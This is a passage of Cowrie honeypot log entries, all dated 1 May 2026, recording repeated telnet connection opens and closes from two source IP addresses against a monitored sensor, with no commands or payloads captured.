{"eventid":"cowrie.session.closed","duration":30.910359382629395,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:42.021386Z","src_ip":"208.115.200.90","session":"eef3f3c77a67","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.65452742576599,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:42.032504Z","src_ip":"208.115.200.90","session":"885789035c2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":58698,"dst_ip":"10.17.0.5","dst_port":23,"session":"dfd699d47a9a","protocol":"telnet","message":"New connection: 208.115.219.122:58698 (10.17.0.5:23) [session: dfd699d47a9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:42.092550Z"}
{"eventid":"cowrie.session.closed","duration":30.808826446533203,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:42.102413Z","src_ip":"208.115.219.122","session":"ff30e7c19a0b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":58710,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbc280152333","protocol":"telnet","message":"New connection: 208.115.219.122:58710 (10.17.0.5:23) [session: cbc280152333]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:42.107545Z"}
{"eventid":"cowrie.session.closed","duration":30.668934106826782,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:42.173921Z","src_ip":"208.115.200.90","session":"703fb4c85dd0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.941052675247192,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:42.179914Z","src_ip":"208.115.200.90","session":"bbb3fce84717","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":58722,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f52adc3d6a2","protocol":"telnet","message":"New connection: 208.115.219.122:58722 (10.17.0.5:23) [session: 5f52adc3d6a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:42.202618Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":58738,"dst_ip":"10.17.0.5","dst_port":23,"session":"87e00d351734","protocol":"telnet","message":"New connection: 208.115.219.122:58738 (10.17.0.5:23) [session: 87e00d351734]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:42.259442Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42310,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c7bb7d0de7b","protocol":"telnet","message":"New connection: 208.115.200.90:42310 (10.17.0.5:23) [session: 0c7bb7d0de7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:42.307128Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":58750,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5ccb62bfb87","protocol":"telnet","message":"New connection: 208.115.219.122:58750 (10.17.0.5:23) [session: e5ccb62bfb87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:42.357800Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":57894,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4e97fbf3932","protocol":"telnet","message":"New connection: 208.115.219.122:57894 (10.17.0.5:23) [session: c4e97fbf3932]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:42.538601Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42706,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e69b5a7b757","protocol":"telnet","message":"New connection: 208.115.200.90:42706 (10.17.0.5:23) [session: 6e69b5a7b757]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:42.590955Z"}
{"eventid":"cowrie.session.closed","duration":31.557812452316284,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:42.609042Z","src_ip":"208.115.219.122","session":"67a35681dea4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.835097074508667,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:43.012434Z","src_ip":"208.115.219.122","session":"9dd42bcd1ac0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.29803490638733,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:43.016881Z","src_ip":"208.115.219.122","session":"bf4b8f1f709f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.68896198272705,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:43.024549Z","src_ip":"208.115.200.90","session":"d132504b8fbc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.74039340019226,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:43.045575Z","src_ip":"208.115.219.122","session":"156298ea4bc1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.980027198791504,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:43.050737Z","src_ip":"208.115.219.122","session":"64b68859b490","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99216628074646,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:43.070442Z","src_ip":"208.115.200.90","session":"fd7787aee520","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.891163110733032,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:43.074985Z","src_ip":"208.115.219.122","session":"18808e34d330","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.517253160476685,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:43.082850Z","src_ip":"208.115.200.90","session":"eb5e3b97d05e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83444833755493,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:43.088204Z","src_ip":"208.115.200.90","session":"d60e7f243497","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.747411251068115,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:43.104064Z","src_ip":"208.115.200.90","session":"8e452547e3b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.596496105194092,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:43.110128Z","src_ip":"208.115.200.90","session":"f0f14d912276","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":58862,"dst_ip":"10.17.0.5","dst_port":23,"session":"5200261113a9","protocol":"telnet","message":"New connection: 208.115.219.122:58862 (10.17.0.5:23) [session: 5200261113a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:43.130825Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":58864,"dst_ip":"10.17.0.5","dst_port":23,"session":"936bbe399293","protocol":"telnet","message":"New connection: 208.115.219.122:58864 (10.17.0.5:23) [session: 936bbe399293]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:43.157477Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42956,"dst_ip":"10.17.0.5","dst_port":23,"session":"b47b0d1820c0","protocol":"telnet","message":"New connection: 208.115.200.90:42956 (10.17.0.5:23) [session: b47b0d1820c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:43.256828Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42944,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3d7683e827d","protocol":"telnet","message":"New connection: 208.115.200.90:42944 (10.17.0.5:23) [session: c3d7683e827d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:43.262410Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42272,"dst_ip":"10.17.0.5","dst_port":23,"session":"1fce9079c520","protocol":"telnet","message":"New connection: 208.115.200.90:42272 (10.17.0.5:23) [session: 1fce9079c520]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:43.302922Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":58890,"dst_ip":"10.17.0.5","dst_port":23,"session":"e478740bf273","protocol":"telnet","message":"New connection: 208.115.219.122:58890 (10.17.0.5:23) [session: e478740bf273]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:43.351427Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":58084,"dst_ip":"10.17.0.5","dst_port":23,"session":"f80f0a646e13","protocol":"telnet","message":"New connection: 208.115.219.122:58084 (10.17.0.5:23) [session: f80f0a646e13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:43.436273Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":43024,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6a4e4f0fe34","protocol":"telnet","message":"New connection: 208.115.200.90:43024 (10.17.0.5:23) [session: f6a4e4f0fe34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:43.460924Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":43104,"dst_ip":"10.17.0.5","dst_port":23,"session":"feecda9ae6a6","protocol":"telnet","message":"New connection: 208.115.200.90:43104 (10.17.0.5:23) [session: feecda9ae6a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:43.516063Z"}
{"eventid":"cowrie.session.closed","duration":31.906105995178223,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:43.952601Z","src_ip":"208.115.219.122","session":"0a555fecfc98","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":59090,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab8d66ccf5de","protocol":"telnet","message":"New connection: 208.115.219.122:59090 (10.17.0.5:23) [session: ab8d66ccf5de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:44.050311Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":43520,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2c5e90ae823","protocol":"telnet","message":"New connection: 208.115.200.90:43520 (10.17.0.5:23) [session: f2c5e90ae823]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:44.073339Z"}
{"eventid":"cowrie.session.closed","duration":30.762815713882446,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:44.107370Z","src_ip":"208.115.219.122","session":"dc24c1a9f3ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.61184787750244,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:44.125240Z","src_ip":"208.115.200.90","session":"cb7d874151d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":43598,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a80ca83cf0f","protocol":"telnet","message":"New connection: 208.115.200.90:43598 (10.17.0.5:23) [session: 7a80ca83cf0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:44.194490Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":43614,"dst_ip":"10.17.0.5","dst_port":23,"session":"767be7351a8d","protocol":"telnet","message":"New connection: 208.115.200.90:43614 (10.17.0.5:23) [session: 767be7351a8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:44.409780Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":43624,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7c4d0d2cde1","protocol":"telnet","message":"New connection: 208.115.200.90:43624 (10.17.0.5:23) [session: a7c4d0d2cde1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:44.413418Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":59140,"dst_ip":"10.17.0.5","dst_port":23,"session":"76c228b4230f","protocol":"telnet","message":"New connection: 208.115.219.122:59140 (10.17.0.5:23) [session: 76c228b4230f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:44.416803Z"}
{"eventid":"cowrie.session.closed","duration":30.637035608291626,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:44.421511Z","src_ip":"208.115.200.90","session":"71184ea71ec1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.00774645805359,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:44.424514Z","src_ip":"208.115.200.90","session":"66ac8b25c8ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.229020357131958,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:44.427530Z","src_ip":"208.115.200.90","session":"faae19b75eee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42986,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a8b09194042","protocol":"telnet","message":"New connection: 208.115.200.90:42986 (10.17.0.5:23) [session: 3a8b09194042]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:44.458870Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":59170,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fe06cb85878","protocol":"telnet","message":"New connection: 208.115.219.122:59170 (10.17.0.5:23) [session: 4fe06cb85878]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:44.482138Z"}
{"eventid":"cowrie.session.closed","duration":31.32437252998352,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:44.554812Z","src_ip":"208.115.200.90","session":"6a18f4525b0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.126749992370605,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:44.692769Z","src_ip":"208.115.219.122","session":"08e43a0a268c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.44890332221985,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:44.736343Z","src_ip":"208.115.219.122","session":"d18d1d777654","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.8449285030365,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:44.904094Z","src_ip":"208.115.219.122","session":"133b9a060a8d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.948447704315186,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:45.014934Z","src_ip":"208.115.219.122","session":"a3f5f0fb2f51","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.65084481239319,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:45.024576Z","src_ip":"208.115.219.122","session":"3d5a86900778","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.68405508995056,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:45.041315Z","src_ip":"208.115.219.122","session":"edc64b872863","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":48526,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ace7ee90e10","protocol":"telnet","message":"New connection: 208.115.219.122:48526 (10.17.0.5:23) [session: 6ace7ee90e10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:45.090834Z"}
{"eventid":"cowrie.session.closed","duration":30.92776584625244,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:45.120815Z","src_ip":"208.115.200.90","session":"ff9abae382f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":36468,"dst_ip":"10.17.0.5","dst_port":23,"session":"4bace77ad88c","protocol":"telnet","message":"New connection: 208.115.200.90:36468 (10.17.0.5:23) [session: 4bace77ad88c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:45.177082Z"}
{"eventid":"cowrie.session.closed","duration":30.77379870414734,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:45.193254Z","src_ip":"208.115.219.122","session":"c1bc373b5d0b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":59124,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ba7213c74a5","protocol":"telnet","message":"New connection: 208.115.219.122:59124 (10.17.0.5:23) [session: 3ba7213c74a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:45.227429Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":36514,"dst_ip":"10.17.0.5","dst_port":23,"session":"09271029cdb6","protocol":"telnet","message":"New connection: 208.115.200.90:36514 (10.17.0.5:23) [session: 09271029cdb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:45.270327Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":36530,"dst_ip":"10.17.0.5","dst_port":23,"session":"24f0c915305c","protocol":"telnet","message":"New connection: 208.115.200.90:36530 (10.17.0.5:23) [session: 24f0c915305c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:45.288107Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":36578,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb2049d7f567","protocol":"telnet","message":"New connection: 208.115.200.90:36578 (10.17.0.5:23) [session: fb2049d7f567]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:45.396524Z"}
{"eventid":"cowrie.session.closed","duration":31.179572105407715,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:45.401715Z","src_ip":"208.115.200.90","session":"499ead288e53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.212371826171875,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:45.420846Z","src_ip":"208.115.200.90","session":"7e2c57fc6863","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.255722522735596,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:45.441346Z","src_ip":"208.115.200.90","session":"8a50662e3008","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.46109127998352,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:45.571535Z","src_ip":"208.115.200.90","session":"94be28ba05ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.95667862892151,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:46.043655Z","src_ip":"208.115.219.122","session":"a109d3a210ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.828978061676025,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:46.054280Z","src_ip":"208.115.219.122","session":"db2ca05ee290","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89422059059143,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:46.073363Z","src_ip":"208.115.200.90","session":"c1782149788c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.996318817138672,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:46.093070Z","src_ip":"208.115.200.90","session":"5d6f948f94f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":58826,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f50e27e9e36","protocol":"telnet","message":"New connection: 208.115.219.122:58826 (10.17.0.5:23) [session: 4f50e27e9e36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:46.123915Z"}
{"eventid":"cowrie.session.closed","duration":31.029836177825928,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:46.135483Z","src_ip":"208.115.200.90","session":"c8fda06f7afb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.57256841659546,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:46.178999Z","src_ip":"208.115.200.90","session":"893331a71837","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.861945867538452,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:46.188830Z","src_ip":"208.115.200.90","session":"ff9246a88ec8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":48688,"dst_ip":"10.17.0.5","dst_port":23,"session":"09f2a8bde085","protocol":"telnet","message":"New connection: 208.115.219.122:48688 (10.17.0.5:23) [session: 09f2a8bde085]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:46.232505Z"}
{"eventid":"cowrie.session.closed","duration":30.776573181152344,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:46.287988Z","src_ip":"208.115.200.90","session":"3e7e41771677","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.23093605041504,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:46.309317Z","src_ip":"208.115.200.90","session":"89a20daf8e6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.77005887031555,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:46.337483Z","src_ip":"208.115.200.90","session":"2392851f1d13","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":36568,"dst_ip":"10.17.0.5","dst_port":23,"session":"6709a00180e2","protocol":"telnet","message":"New connection: 208.115.200.90:36568 (10.17.0.5:23) [session: 6709a00180e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:46.378346Z"}
{"eventid":"cowrie.session.closed","duration":31.31983494758606,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:46.412428Z","src_ip":"208.115.219.122","session":"174f59928cac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":48582,"dst_ip":"10.17.0.5","dst_port":23,"session":"f165164d97e7","protocol":"telnet","message":"New connection: 208.115.219.122:48582 (10.17.0.5:23) [session: f165164d97e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:46.439842Z"}
{"eventid":"cowrie.session.closed","duration":31.288227796554565,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:46.447571Z","src_ip":"208.115.200.90","session":"7ef9f6a84b36","protocol":"telnet"}
